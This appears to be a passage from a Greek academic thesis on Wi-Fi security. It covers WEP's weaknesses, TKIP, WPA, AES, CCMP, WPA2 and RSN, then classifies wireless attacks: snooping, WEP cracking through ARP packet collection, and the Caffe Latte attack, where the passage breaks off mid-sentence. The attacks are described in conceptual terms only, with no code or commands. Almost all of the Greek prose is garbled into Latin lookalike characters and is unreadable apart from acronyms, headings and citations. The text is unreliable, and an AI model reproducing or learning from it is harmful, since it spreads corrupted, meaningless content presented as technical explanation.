KPUTITOYPOAPELTAL ATTOCTEAAETAL THIOW KAl TEAOG TO onpelo mTpooBaong Tnv
OTIOKPUTITOYPA@EL KAl TN GLYKPIVEL pe TNV ap)Lkn akoAovBia. To kKAELSL TTov
xpnowoToteital o aut TN Stadikacia eival To (810 pe avtd NG
KPUTITOYPAPTOTG, SLvovTag £TOL TNV EVKALPIX € EVAY ETILTIOEUEVO VA ATTOKTNOEL
otolyeio. H 6An Stadikacia Sivel yevikdtepa TnVv eukalpia o€ évav elooAa va
emtelel ota KAELSL1A KpUTITOYpAPNOTMG. AUTO cupPaivel 8LOTL oToloadNToTE
TapakoAovBel TN Stadikacia TG emaAnBevong éxel TpooPaon o€ éva
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KPUTITOYPAPNUEVO KAL U1 KPUTITOYPAPNUEVO ufjvupa. Me pia amAn tpaén XOR
HETAEY Toug Eyoupe TNV «Prevdotuyaio» akoAovBia RC4 og SeSopévn Tiun IV.
Eav ntun IV 8ev aAdagel o emitifépuevog umopei va KAveL aitnomn yla
emoAnBgvom, va AABEL TO U1 KPUTITOYPAPTHEVO KEHEVO KL KAVOVTAG TNV TIPAN
XOR pe 1 pon KAELS10V IOV ATIEKTNOE TIPLV VA ETIITUXEL GTNV ETTAAT|Ogv0oN.
Mmopel 0 ETMITIOEPEVOG VA UMV ATIOKTAEL AUEST] TIPOCLACT) OUWE AKOUA KAL £TCL
Tapéxel éva Selypa 128 bytes g porg kA&LS100.

0 éAeyxoG mMPOGBAGN G CLVICTATAL GTNV ATAYOPELOT 1] OXL TNG ETUKOLVWVING
Lt GUOKELNG pe To Siktuo. H Tpdofact cuvnBwg eAEyxeTaL SLATNPOVTAS Lo
AlOTA pE ETITPETOUEVEG GUOKEVEG 1] LLE KATIOLO NAEKTPOVIKO TILOTOTIOMTIKO. XTO
IEEE 802.11 8ev £(0UUE KATIOLO GUYKEKPLUEVO UNYAVIOHOG VAOTIOMOTG
TpooBaong. Ot cuokevEG oLV BWS avayvwpilovtal e TIg SlevBiveels MAC,
OUWG auTr Sev elval Lo TOAL KaA TPooEyylon Kabwg oL StevBUVoEeLs aUTES
UTTOPOoVV VKOAA Va avTlypa@oUv. ‘EToL To povo mou pével yia 1o WEP gival ta
KAELSLA KpUTITOYPAPT 0TS EaVA.

"Eva dAdo Tpwto onpeio Tov WEP givat aduvapia tov va Staxelplotei emO£oelg
HEC® QVATIAPAYWYT)G MVURAT®V. OTav évag emTifEpuevos TapakoAovBel kat
KATAYPAPEL TA TAXIGLX TIOU AVTOAAAGGOVTAL GE€ LK VOULUT ETILKOLVWVIX
(sniffing), pmopel akoAoVOwG va cuvdebel oto Siktuvo pe T MAC StelBuvon g
KLVT TG CUOKEUNG. ZTEAVOVTAG £TOL VA AVTIYPAPO EVOG TIHALOV UNVURATOS
umopei va amoktoeL TpocPacn atov eEummpetnTh. H Mpootacia and tétolov
eldovug emiBeoelg oto WEP Sev eivat amAd eAMT G aAAG avOTTopKTh!

To WEP S1aB£Tel unyoaviopo yLo TV aQVTIUETWTILO TIEPLITTTWOEWY TPOTIOTOIM OGS
UNVUUATWV, HECW TOV EAEYXOV aKEPALOTNTAC - ICV. ZOp@wva 6pws He ™
nébodo «bit flipping», pmopovv va petaffAn6ovv Alya bits tou
KPUTITOYPOAPTILEVOU UNVUHOTOG KABE (popa Xwplg auTr 1) TpOoTOTOoN o™ va Yivel
avTANTIT. AuTo pmopet va oupfet 8ot B€om ™S ke@aAldag IP eival yvwot)
UETA TNV KPUTITOYPA&@N oM. Av aAlayxBoVv kamota bits Tng ke@aiidog IP aAAd kot
TOU €A£YXOL aBpolopatog TOTE 0 EAeyyog pmopel va elval emituxns. M avutod to
A6yo to WEP Siabétet To edio tiung ICV, wotodoo aduvapies Tapovotdlet kol
oautn 1 néBodog. H pebodog CRC mov xpnoLpomoleital elvat Yp oK KAl £ToL
umopei va mpoPAe@Bolv ta bits mov Ba aAAGEoLVY pe TNV TpoToTIoiNoN EVHG
unvopatog. Emeldr) to WEP xpnowomotel ) Aoy paén XOR 1 avtiotpoe
Twv bits ev emnpedlel v kpuTTOoypd@non. H avtiotpor] evog bit ato pn
KPUTITOYPOAPTIEVO AVTIOTPEPEL TO (610 bit Kol 6TO KPUTITOYPAENUEVO KEIPEVO.

[Staitepn BapinTa £xeL 1) EMAVAYPNGLUOTIOWGT) THG TLUNG TOV SLavUGHATOG
apywkomoinong IV. EGv cuAdexBoUv ToAAG Selypata emavaiapBavopevou IV
TOTE UTOPEL KATIOLOG VAL UTTOBETEL TUNHATA TNG POTG KAELSLOU KAl TIPOYXWPNOEL
OTNV ATOKPUTITOYPAPTOT). AAAWGTE OTAV KATIOL0G Yvwpilel To keystream yuo
£va ouykekpévo IV, umopet va amokpumtoypa@nosl KiBe Aaiolo Tov
xpnowoTtotel o (8lo IV. Qot600 auToS 0 KIvouvog Sev eivat Kal TOG0 PHEYAAOG
oV eV VTIAPYEL AVTOUATOTIONUEVO EPYAAE(D TTOU B UTTOPOVOE VO KATAPEPEL
va Slaxelplotel Tov TPoadloplopd evog KPUTITOYPAPNUATOS UE auTH TN uéBodo.

H tuun Tov Staviopatog apxtkomoinong, 6mws mpoava@épaus, 8ev eivat
HUOTIKT, OUwG K&TL TETOLo Sivel TNV eukatpia o€ évav eloforéa va emitedel o€
£€va oXETIKA adUvapo KAESL Ta TpwTa bytes evdg un kpuTToypa@nUéVou
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UNVOUATOC €ival UV BWE YVWoTd SLOTL amoTteAoVV pia emike@aAiiba IEEE
802.11 Me mapakoAoBnon TG petddoons avalnteltal Eva aduvapo kKAELSL.
Z£povuE eTioNG OTLVTIAPXEL OXE0T) AVAUEGA GTO KPUTITOYPAPTLEVO GTO Un
KPUTITOYPOAPTLEVO UNVUHX KOL TO HUOTIKO KAELSL. ‘Exovtag kataypapetl Evav
ONUAVTIKO aplOpd oo TETOL UNVOUATA, 0 EL0oAEag umopel va avakaAVeL TO
TpwTo byte Tou KAel8100. H péBodog autr pmopel va epappootel yla kaBe byte
KOl TEALKA VO ATTOKAAU@BOEL TO PUOTIKO KAELSL O TIpETIEL val TTOVHE ETTOMG OTLT
aUEN oM TOL UKOUG TOU KAELSLOU BeV eTLPEPEL EKDETIKT ahENGT TOL XPOVOL
avalntong aAAd amAa ypapukn. (Flickenger, 2003)

3.3 IIEPA AIIO TO WEP

Ta mpwta xpovia s {wns to IEEE 802.11 yia acUpuata Siktua, vtootiple udévo tnv
WEP w¢ pé60o8o yla v ac@AAELx TG TIANPO@OPIaG TTov avTaAAAGGoVTaL 0€ Eva SIKTLO.

Apketol woTtoo0 NTOY avTol Tov SlamicTwoav TI§ aduvapies Tov cvotnpatos WEP.
[ToAV ocUvtopa eppaviatnkay oto Sladiktuo epyareia tov mapafiafav o WEP kat
UGALoTH 0€ GUVTOUO XPOVIKO Staotnpa. Tapoia autd to WEP amoteAel uéxpt kot
ONUEPA YL TTOAAOUG, KUPIWG OLKLAKOUG XPT)OTES, TN LOVASIKT ETIAOYT] VL0 TNV
TPOOTAC(A TWV SES0UEVWY TTIOU AVTAAAXGGOUVY PHECW EVOG AGVPUATOU SIKTVOV.

» HAvVonm tov TKIP

MeTd amo TN ouveldTOTIONOT TNG KPLOLHOTNTOG TN G KATAGTAOTS KL TOU KEVOU
aoc@areiag mov agnve to WEP, avadvnke ) Avon touv TKIP (Temporal Key Integrity
Protocol - TKIP).

To TKIP tpoo@épel peyaATePN Ao@AAELX KABWGS TTAPEXEL AVAULEN KAEISLWOV ava
TIAKETO, EAEYXO AKEPALOTITAG UNVUHOTOG KL UNXAVIOHO QVATIXPAYWYNG KAELSLWV, O
omolog emiSlopObwvel Ta eAattwpata Tov WEP. Eve To Hovo Tov amattovos 6ty auyn
™G ERPAavIon G Tou NTav 1 avaBadion tov firmware kot TOAV®OS TOUV AOYLOULKOU
(driver) tng cuokeung.

Apxwa to TKIP xpnowomomdnke mavw oto WEP ylx va evioyUoel TNV aG@AAELX KoL VX
LELWOEL TOV aplOp6 Twv emBéoewv Tov WEP. To tpwto Bripa otnv Stadikacio tng
kpumtoypaenong TKIP elvat o utoAoylopog Tou Kwdika akepatdtntag SeSopévwy MIC,
OV YiveTtal pe Tov aiydplOpo Michael. Me tov aAdyopiBuo autd tpoctaTEVOVTAL TO
UNVUHX KoL 0L S1EVBVVOELS TOVU ATTOCTOAEN KoL TIALPAAT)TITN. AUTA Ko éva kKAEWSE MIC elvait
eloodoL atov aAyoplBpo. TeAka mpokuTToUY 8 bytes, Ta omoia TTpookoAAoVVTAL GTO
OPXLKO UVUUA TO OTIOL0 TN GUVEXELX KPUTITOYPAPELTOL

H TKIP kpunttoypda@non Asitovpyel oe §V0 aocels. H mpwtn pdon xpnoomolel Eva pn
YPauuKo mivaka avtikatdotaons (S-Box) kat cuvdudlel To kAeldi cuvadov (TK),
MAC 8tevBuvon tov amootoAéa (TA) kal Ta TEGOEPA TILO ONUAVTIKA bytes TG TN G TOU
uetpnt akoiovbiag, (TKIP Sequence Counter), omoiog audavel yia kaBe Tunua
Sdedouévwv mov tepayifoval
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To kAeldi cuvodou amotereltal amo pa T 128 bit, mapouota pe v tiur tov WEP
kA£1810V. O TKIP petpntig akoAovbiag (TSC) elval @Tiaypévog amd Ty yaia
StevBuvon (SA), Tnv SievBuvon tpoopilopov (DA), TV tepapyia kat Ta Sedopéva.

Ty €€080 mapayetal pia evdiaueon tiun (TTAK). H tiur avth pmopei va amobnkevtel
TPOCWPLVA Kal xpnotlpomom Bel péxpt kat yix 216 maxketa. E@ocov Aapfavetal vmoym n
SLevBuvon TOL ATIOGTOAEN, ) CUVAPTNOT TIAPAYEL SLAPOPETIKT EVOLAUEDT) TLUN YIX KAOE
OUOKEUN, OKOWX KOL oV XPTOLHOTIOLETAL TO (510 KAELSL KPUTITOYPAENONG ATIO OAES TIG
OUOKEVEG.

H 8e0tepn @daom «avakateVew v Tiur TTAK pe ta 500 Atydtepo onuavtikda bytes g
TLUNG TOU peTPM T akoAovBiag (TSC) kat o kAeldt ouvodovu (TK) yia v eaywyn tou
TEAKOU KAELS100 KpuTtTOYypd@nong. TéAog katd Ta yvwota and to WEP, uodoyiletal
to IV kat yivetai n kpumtoypd@non amnd tov adyopiduo RC4.

WEP seed(z)
TA (represented az WEP
TK Phaze 1 TTAK v
2 key + RC4 key)
g mixing —I_, - 4 L —p
ase
= Ky WK Ciphertext
DA +SA + ' wie, | MEEER
Priority + Encapzulation
Plaintext MSDU ’F e
= ragment(s &
sty Michael = =
i > Plaintext
MIC

Ewkova 16. Kpvmtoypagnon us Ty uéodo TKIP

To TKIP xpnopomotel tnv 802.1X ap)LTEKTOVIKT EMKVPWOTG, GOV fACT] YLK TNV AOQAAT
AVTOAAXYT) TOU KAELSL0V.

To tpoTuTo 802.1X TTapEXEL IPOGPOPO £50POG GE TPWTOKOAAX EAEYYOL TAVTOTNTAG KoL
Staxeiplong kAeld1ov. Ovolaotika pe to 802.1X, Tapéxetal EAey)0G TAUTOTNTAG HETAED
Tovu meAATn Kat evog Stakoplot) RADIUS (Remote Authentication Dial-In User Service)
oV elvat ouvdedepévog oto onueio mpocBaong. EmmAov 1 xp1omn evog TTpwToKOAAOL
gA€yyov TauTOTNTAS, YVWwoTO ws EAP (Extensible Authentication Protocol) wgeAei to
802.1X.

Ta apéows emdpeva xpovia 1 Wi-Fi Alliance dploe éva vTT0GUVOAO TOU VEOU TIPOTUTIOV,
TO 0Tol0 amoTeAel o BEATIWUEVT €KG0OT AOPAAELNG TIOU EVSUVIIWOVEL TO ETTESO
mpootaciog SeSopévwy Kal eEAEyyov mpocBaons oe acVpuato Siktvo. To uTTOGVUVOAO
auTto ovopdaletal Wi-Fi Protected Access (WPA). (Barken, 2003)
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3.4 WPA (WI-FI PROTECTED ACCESS)

To 2003, 6Tav apxLoe va YIVETAL EPPAVES TO KEVO OTPAAELNG TTOV APMVE T
kpumtoypdagnon WEP, 1 Wi-Fi Alliance avéntuie to Wi-Fi Protected Access (WPA). To
WPA mpogpxetat amd to IEEE 802.11 mpdTuTO KAl €lval ooy pua evdidpeon Ao
aoc@arelas Twv WLAN kot umopel va suumepAng0ei pe avafaduioeis otig én
vmapxovoes WLAN aoUpUaTEG GCUGKEVES.

To WPA kavel ypnion g pebodov TKIP, Tou mpoava@epbnke kot auEdvel onpuavtika

T0 emimedo ao@AAELNG KaL EAEYYOL TIPOGBacms ota acVpuata cvuotpata LAN.

To WPA Ttapéyel o€ kABe TTaKETO TO KAELSI, Evav €Aeyxo akepatdtntag unvopatog (MIC)
Tov ovopadetal Michael xat éva Stdvuopa akoAovBiag (Initialization Vector-1V). Emiong
Yl TOUG OLlKLOKOUG xpNoTeS, To WPA TtapEXEL Eva UnXAVIGUO TIPO-HOLPACUEVOL KAELSLOV
tov PSK (Pre-Shared Key).

[N va ekpetaAAgvTel kamolog v Suvatotnta Touv PSK Ba pemel va elodryet po Agén
KwSLKO Kal 6To onpeio TpooPfaong kat ato oTabud. Avti 1 AN Kwdikdg
XPNOLUOTIOLELTAL YL VO ETIIKUPWVEL 0TIOLOVONTIOTE 0TAOUO TTpooTabel va cuvdebel oTo
OUYKEKPLUEVO SiKTVO.

0 kwdKog Ba mpEMeL va amoTeAelTaL Ao 8 £ 63 EKTUTIWOLHOUG XapakTipes e ASCIL
AxoA000w¢ To onueio MPdGPacng TTapEXEL GTO GTAOUO £V TIPOOWPLVO KAELSL TO oTtoi0
OVOVEWVETAL O TAKTA XPoVIKA Staotnpata. To 256 bit kAeldi voAoyifetal
xpnowomolwvtag T hash cuvaptnon PBKDF2 xpnolomolmvtag Tov apyiko KwdiKo we
KAELSL.

To» preshared» WPA elval TpwT6 0Ti§ emIBEELS payloPATOG KWSLKOU PO aonG eqv
xpnowomoteital évag advvatog kwdikae. I'a va tpootateuTel amod pa emiBeon évag
aAnBwva Tuxaiog kwdikag 13 yapaktpwy eivat Bavwg apketos. Ta mpoidovta Tov
ypagouv otL £xouv “WPA-Personal” onpaivel 6t vmootnpifouv tov PSK pnyxaviopd
ETIKUPWOT|G.

To tpoTuTto WPA opilel emiong ) xprion tov mpotimov AES (Advanced Encryption
Standard) wg emimAov avtikatdotaon ywx v kpumtoypagnon WEP. H vrtootpién
TpotUToU AES gival TTpoalpeTIKN Kol EEXPTATAL ATIO TNV VTTOO TN PLEN IOV TTAPEXEL O
TPOUNOEVTIG GO0V AWOPA TTPOYPAUUATH 08 YNONG.

3.4.1 AES (ADVANCED ENCRYPTION STANDARD)

To WPA Ttapéxet T SuvatoTnTa yla KpUTToypa@non pe vo adyoplduovg, Tov RC4 kot
tov AES (Advanced Encryption Standard) yio TNV UMIGTEVTIKOTITA TWV SESOUEVWV KL
TNV aKEPALOTNTA.

0 AES amoteAel TnVv vedTepn UEOBOS0G KPUTITOYPAPNONG TIOV EXEL ETIAEYEL ATIO TNV
kuBepvnon twv H.ILA yw va avtikatactiosl Tov adyopiBuo DES to 2001. O AES
xpnowomotel Eva adyoplBpo yvwoté wg Rijndael.

0 aAyopiBuog Rijndael mpe To 6voua tov amd toug Suo EABeToNG epevpétes Tov, Joan
Daemen kat Vincent Rijmen. [Ipdkettal yia évav adyoplBpo kpuntoypd@nong opadog
(block), Tov onuaivel 6t Aeitovpyel o€ Pl opdda otabepov peyéBoug bits, 1 omoia
OVOUALETAL UTTAOK.
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Apxwa o Rijndael aipvel cav eico80o €va UTTAOK GUYKEKPLUEVOL PEYEDOUG, TUVNBWG
128, kal mapayet Eva avtiotolyo umAok e£680u Tov (5lov pey£Boug. O HETACYUATIONOG
amoattel pla Sevtepn elocodo, n omola eival To puoTiko kKA. Elvat onpavtikd va
yvwpiloupe OTL TO pUOTIKO KAELSL Sev £xel cuykekpLévo PEYeBog (avaAoya e ™
XPNOLUOTIOLOVUEVT] KPUTITOYPAPNom) Kat 6Tl o AES xpnouomotel tpia Bacikd peyeomn:
128, 192 kat 256 bytes.

Plaintext
I T T T 1 1]

Block Cipher
Key - Encryption

.

[T [T T 11
Ciphertext

Ewcova 17. AAydpiBuog Ouadag (block)

ZTIG HEPES MaG uTTopoUpe va Bpove poiovta AES WRAP (Wireless Robust
Authentication Protocol), cAA& 1 teAkn] tpoSiaypagr kabopilel tov aAyopBuo AES
CCMP (Counter Mode-Cipher Block Chaining Mac Protocol). Ot tpodSiaypa@ég Tou
802.11i mapExovy emimedo petddoons dedopévwv Baolopévo oto AES. H
xpnowomoinon tov mpotuTou AES pag TpooTatelel Ao TI§ EVEPYEG AOVPUATES
eMOE0ELG. QOTOCO TIPETEL VA AVAYVWPLOTEL OTL EVO ACVPUATO TIPWTOKOAAD TOU
EMMESOV PETAS00TG SESOUEVWV PTIOPEL VX TIPOOTATEVGEL LOVO TO ACUPHUATO UTO-
Sixtvo. Zta onueia mov 1 kivion SLEpxeTal amd GAAX TUHATA TOL SIKTVOV, E(TE OF
SIKTLA TOTIKTG 1) EVPELNG TIEPLOYNG, ATIALTELTAL TPOTTACIX VPNAOV ETLTESOV KAl
KPUTITOYpA @M o™ atnd onueio oe onueio. (Barken, 2003)

3.4.2 CCMP (COUNTER MODE WITH CIPHER BLOCK CHAINING MESSAGE
AUTHENTICATION CODE PROTOCOL)

H mpoobnkn oto mpotumo IEEE 802.11 mov opilel TV ao@GA£lA TNG EMOUEVNG YEVLIAG
yw ta acVppata Siktua ovopdletal IEEE 802.11i. To mpdtumo ek860NnKE TEAKA TO
2004.

To poTUTIO VTO OpileL pia vEx nEB0SO, Yo TNV ac@aiela Twv dedopévwv oto MAC
emimedo. H pebodog avtn (CCMP) Asttouvpyet oOp@wva e Tov aAyopldpo
kpumtoypagnongs AES. To CCMP mapéxel EPTIOTEVTIKOTNTA, EMKUPWOT), AKEPALOTNTA
KO TIPOOTAC{X aTtd TNV EMAVAAN YT TTAKETWV.

To CCMP xpnowomotet péyebog kAetdov 128-bit kat peyebog pmrox 128-bit. Meta ano
To CCMP to péyebog touv takétou £xel emektabel katda 16 bytes, 8 bytes ylx tnv
emke@aAiba tov CCMP kat 8 bytes ywx v Yymeaxn vroypaen MIC (Message Integrity
Code). Ta 8eSopéva Tov TtakéTou kat To MIC petadiSovtal kpuTttoypa@nuéva, agov
TpooteBel N apx k1] ETKEQEAALISH TOU TAKETOL KAt 1) ETIKEPAAISa Touv CCMP.
(Wikipedia)
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3.5 WPA2 (WI-FI PROTECTED ACCESS VERSION 2)

To WPA2 elvat o §tddoxog tov WPA kat mpoopiletal Yo va B€oel o€ amevBeiag
ouvdeor to WPA pe to IEEE 802.11i tpotuto. To WPA2 Siabétel cuppatotnta
TPOG T Tiow e To WPA, 6Twg kal pe tnv kpumtoypagnorn TKIP kat AES, tnv
802.1X / EAP emk0pwon kot v texvoroyia PSK, tou eivat 6Aa pépm tov potiTov.
Ta acOppata Siktua oV Voot pPifouv TNV pikTy Asttovpyia WPA kot WPA2
KAVOUYV IO EVKOAT TNV HETAPOPA TWV SESOUEVWV AVAUETH OTA TIPOTUTIA.

Mua a6 T mpwteg BeAtiwoelg tov WPA2 elvat 6TL pe v tpoodnkn tov AES CCMP,
o0Tw¢ ato 802.11i, mapéxel tn SuvatdTNTA LOYXVPTS KPUTITOYPAPNonG. Mia

OAAN BeAtiwon Tov tepAapfavel to WPA2 sival t Suvatotnta ya ypriyopn
TEPLAY WYT]. AUTI 1] IKAVOTNTA EIVAL GTIUAVTIKY] YL TIG EQAPUOYES TJXOV, OTIOU )
HETAPOPA TOUG lvat LYMANG svatoBnoiag. H ypriyopn eplaywyn emITUYXAVETAL L
TNV EMKVPWOT] TWV CTAOUWV KAL GTA YELTOVIKA oMUela TPOTRaong aAA& Kol 6TO
TEAIKO onpeio TPAoBaonG OOV EMITUYXAVETAL 1] ETIKOLVWVIA.

‘Otav évag otabuog BéAel va cuvdebel oe éva yeltoviko onpeio mpdoBaong, 1
emkLUpwor 802.1X umopel va mapaAn@Oel agol £xel 161 oAokAnpwOel ek Twv
mpdTEPpWV. EMIMA£0V T0 TTpoowpivo KAELST £xeL 1161 eykaB18puBel avapeoa ato

otaBuod kat to onueio TpocPaong Amoktwvtag pocPacn atov RADIUS

efutmpe ™) yia va oAokAnpwaoel tnv 802.11X emikvpwon katadappavel ToAd xpovo
KoL EMUTAE0V T S{KTLA TIOV TIEPLAAULAVOUY YPIYOPN TIEPLAYWYT] EXEL TTAPATNPTOEL OTL
£X0UV OUAAOTEPT AELTOVPYLA KXL CUVEXT) CUVSECILOTITA TOVU TTEAQTN KABWG aUTOG
uetaxweital otig kuPédes tov WLAN.

Ymapyovv 800 ekdooelg tov WPA2. To WPA2-Personal kot to WPA2- Enterprise. To
WPA2-Personal mpoatatevel TV Tpocact 6To SikTuo amo un e£0uc1odoTnUEVOUS
XPNOTES LLE TN XPTOT) TNG EYKATACTTAONG VOGS KWKoV Tpocfaong. To WPA2-
Enterprise miotomolel Toug xpnoTeg Tou SIKTVOL HECW EVOG EELUTINPETNT.
(Wikipedia)

3.6 ROBUST SECURE NETWORK (RSN)

To tpotuto IEEE 802.11i opilel éva véo TUTIO acUpUATOU SIKTUOU, TO 0T0l0 oOVopaleTal
Aixtuvo AvBekTiknic Ac@pdAeilag (Robust Secure Network - RSN).

OTlwoSMNTOTE 0L ACUPUATEG CUOKEVEG IOV Bt UTTOGTNPIlOVV EVva TETOLO SIKTUO B TIpETEL
va £X0UV VEEG SuVATOTNTES. AUTEG elval 1) emkOpwon, 1) Slaxeiplon KAEWSLWV o VYMAS
eTMESO0, N KPUTITOYPAPNOT KAL TNV EMKVPWOT TWV SES0UEVWOV IOV SLHKIVOUVTAL GE
MAC emintedo.

‘Eva Siktuo RSN €xel ToAU avotnpols TEPLOPLOUOVS OGOV APOPA TNV TTPOGRACIUOTITA
Kol emPBAAAovTaL apkeTOl TIEpLOPLOPOL ao@AAELlag. QoTOCO, EMELST) XPELARLETAL XPOVOG
vy va avaabpiotouv oL CUOKEVES Kal 0 e§0TALo P0G, To TpdtuTo IEEE 802.11i opilet To
Alxtvo Metafatikng Acpaieiag (Transitional Security Network - TSN).

Ta diktva TSN vtoatnpifouv Siktua 6TIws To RSN aAAd kot to WEP. OL xprioteg ov
gloépyovtal o€ éva diktuo TSN, umopovv va AeLToupyncouvy mapaAAnAa yia 0Ax ta
TPOTYOUHEVA CUOTNUATA ao@aAelas. (Frankel, Bemard, Les, & Scarfone, 2007)
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3.7 ATA®OPEX ANAMEXA XTO RSN KAI TO WPA

Tooo to RSN aAAd kot to WPA gival pgfodol kpuTToypa@nomg oLV OUGLAOTIKA
aVTIHETWTI{OVV TO B TG ACPAAELXG pe TTapOUoLo TPOTO. To WPA Siabétel pepikée
novo amo tig Suvatotrteg tou RSN. To RSN kdvel utoxpewTIKY Xp1)0T TOU
TPWTOKOAAOU CCMP, pe evardaktikr Avon 1o TKIP, v 1o WPA ETIIKEVTPWVETAL GTO
TKIP.

OL tapamdvw HEBoSOL XPTGLULOTIOLOUV TTOPOUOLX APXLTEKTOVIKT LE TIPWTOKOAAX
aoc@arelag mou Bacifovtal atoug adyoplBuoug AES kot RC4 avtiotoya. Méow autwv
Twv pebBdSwv kadvTTovTal Bépata dTwe: a) Emkupwon og vPmAo emimedo, ) Atavoun
TOU KAELS100 KPUTITOYPA@nons yY) Avavéwaon Tou KAELSL0V.

H apyitektovikn Tou RSN eivat o moAvmAokn ae oxéomn pe avt) tov WEP. Iapoia avtda
7o RSN elvat pia ToAU onpavtikn Avon, 1 oTola umopei va eQapUocTEL 0€ PHeYGAa
Sixtua. ‘Eva amo ta peyaAvtepa ipofAnpata tov WEP eivai 1 SuokoAia thg Stavoprg
TWV KAELSLWV, OTAV 0L XPNOTESG EEMEPAGOLV TIG PEPLKES SeKASES. To TPOBANUA auTO
emAVeTaL T000 0to RSN aAAG kot oto WPA. (Frankel, Bemard, Les, & Scarfone, 2007)

3.8 TYIIOI EIIOEXEQN XE AXYPMATA AIKTYA

H yontela ¢ mpdofaong o€ éva E€vo péoo kaln e§epevivnon Sedopévwy Tov
BEWPOVVTAL LUOTIKA 1) HE GAAX AOY L EEVAL YL EUAS, ATIOTEAOVV VAl TTIOAU OT|UAVTLKO
KN TPO Yot TOAAOUG oo Toug emibofouc emitiBEuevoUG. QoTO00 0L TPOBETELS KOl oL
oToO)oL KGOe emiBeonc pmopei va Slaépouv. Méoa o€ yevikdTepa TAXIOLQ, OL ETILOETELS
o€ aoVppaTa S{KTLA PHTTOPOVV VU XWPLOTOVV GE TIHONTIKES KOl EVEPYT TIKE.

Q¢ mabnTikég opiovtal ol emBETELS IOV O CUUTIEPIAAUBAVOUY CUUHIETOXT] TOU
emTIOpEVOL oTo Siktvo. Emifeom tétolov tumov amotelel n AMym ITAnpogopLwv
(Snooping/Footprinting)

O1 evepynTikég emBEoELS TTPOVTIOOETOUV OTL 0 ETUTIOEUEVOG AvaAXUBAVEL EVEPYT
ouppeToXT 0To SikTvo. OL EVEPYNTIKES ETIOETELS YwpilovTal cCVUP®WVA UE TO OKOTIO TIOV
£X0UV oL ETUTIOENEVOL, O TEGOEPLS PATIKES KATNYOPIES:

o Avaxmmon kwdwo WEP (WEP Cracking)
o Tpomomoinon AeSopévwyv (Man in the Middle Attack)
o Metaupison (Spoofing)

e Apvnon Ymmpeowwv (Denial of Service)

3.8.1 TAOHTIKEX: AHWH [TAHPO®OPIQN (SNOOPING/FOOTPRINTING)

H Aym mAnpo@oplwv (snooping) oxetileTal e TNV AVAKTNOT) ATTOPPTTWV TIPOCWTILKWOV
Sedouévwv amo pun £0VCL0S0TNUEVOUGS XPTOTEG. ZE QUTH TNV TEPITITWOTN ULX AGPOATG
1EB0S0G KPUTITOYPAPN OGS UTIOPEL VX BoNBNCEL VA AVTIUETWTILOTOUV TETOLEG EMIOETELS.
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Katapxny, o emitifepevog eivat oe 0£om va Stafacel OAeG TIG TANpO@OpPieS TTOV
TPOEPXOVTAL ATIO Ta onUeia TPOGBaomG, emopEvwg EEpeL To Ovopa Stktuou (1) SSID).
Emtiong eivatl miBavo va pmopel va tpoodlopicel Tov kKaTaokevaot Kabe onueiov
mpoofaong pe v e&€taon ™ SievBuvon MAC tov. Emtiong n mapakoiovbnon g
Topelag LG HEYAANG TTOGATNTAG TTAKETWY TIPOG onpela TposPfaong umopel va Swoel
TOV aplBPd TWV AoVPUATWY CUCKEVWV IOV 0UVSEoVTaL e KABE onpeio Tpdofaong.

Eav 1 kpumtoypdagnon mou xpnotpomoteital 6to diktvo eivat WEP, tote pmopet va
efetdoel ev 0 kabBévag ypnopotolel To (Sto KAelSi (kowvo) 1 edv kABe cuokeLT| €XEL £V
XWPLOTO KAELSL e TNV e€étaom Twv bit otnv IEEE 802.11 emypagm. Ekeilveg ot
TANpo@opies Ba ptopovicav va elvat XprjoLUES apyOTEPQ.

Mua GAAN LéEB0S0G TTOU PN OLUOTIOLEITAL EIVAL 1] TEXVIKT] TNG avAAUVoN G KUKAo@opiag. H
avVAALOT) KUKAO@OPLOG ElVaL T HEAETN TWV EEWTEPLKWV GTOLXEIWV TWV UNVUHAT®Y,
TOPASELYLATOG XAPLY, TNG CUXVOTNTAS ETKOWV®VIAG KAl ToV peyEBoug. AvoTuxwg, eivatl
Suvato va pabeutel 0AOKANPO 1N Eva HEPOG YLIA TOUG TUTIOUG TWV TIPAYLATWY TIOU
ouppaivouv o€ éva SikTuo akpLBwg Pe TNV TPOCOXT TWV UKWV TTAKETWVY KOL T1|
onueiwon Tov cuyxpoviopol xwpis koitayua uéoa ota maketa. [apdia auta ev
UTIAPXEL AUECT TPOGBAOT) GTO TIEPLEXOUEVO UNVUUATMV.

"Eva TIoAU Xp1GLU0 €pYaAEio OV XpNOLUOTIOLEITAL 6TV avdAvaT), TapakoAovOnomn Kal
OTOV EVTOTILOUO KOL AVTILETWTILOT) TIPOPLANUATWY 0T SIKTUX OAAG KAl 6TV eKTtaiSgvon
elvat to Wireshark.

3.8.2 ENEPTHTIKEX: ANAKTHXH KQAIKOY WEP (WEP CRACKING - CAFFE
LATTE ATTACK)

'Omwg avaAvbnke 6To TTpoNnyoVEVO Ke@aAalo, 11 iEBodog kpuTToypdenong tov WEP
EXELXAOEL TNV TIXALA TNG AlyAN, EQOCOV HEGH O Alya AETITA UTTOPEL va avakTnBel 0
HUOTIKOG KWSIKOG oV ¥peldleTal yia v apafiaon evog acUpuatou Siktvov. Ot
uébodot ov xpnopomolovvtat onjpepa Y to WEP Cracking emikevtpwvovtal 6Tty
OUAAOYY] peyaAov moocoatol IV's makétwyv. H Stadikacia auth mpayuatomoteital péow
™G 6VAAOYTNG Kal avapetadoons makétwv ARP (Address Resolution Protocol) oto
onpeio mpooPaong.

To Address Resolution Protocol (ARP) (tpwTtokoAAo emiAvong Sievbiveewv)
xpnowomoteital ya va Bpebet pia SievBuvon tov otpwpatog cuvdéopov (link layer) 1
StevBuvon efomAtopov (hardware address) evog host pe aon pia Stevbuven Tou
emméSov emkowvwviag (network layer). Kade host mou eivat cudedepévogs o'éva Siktvo
mov Baociletal oto ARP kpatael evav kataAoyo (ARP table) (ebywv Touv TOTOUL
AevBvvon mpwtokoAdov — Avtiotoiyn StevBuvon vatkov. Ta epwtuata ARP
otéAvovtal e broadcast, mov onpaivel mwg Sta@opot host ta Aapfdavouv.

Y& yevikeG ypappég 1) emiBeon oe cuotpata WEP mpaypatomoleitatl p€ow cuAioyng
elte advvapwy eite povadikwy IV's Takétwy. L0100 TAVTA ATALTEITAL ) CUAAOYT)
LEYAAOVL TTOGOGTOU KPUTITOYPAPTHEVWV TTAKETWV.

EvSia@épovoa mepintwon amoteAst ka1 pEBodog “Caffe Latte Attack”, pe tn fonBela
™G omolag o emtifépuevog pmopei va avakaAivPelt to WEP kAeldi Tov Siktiou xwpis va
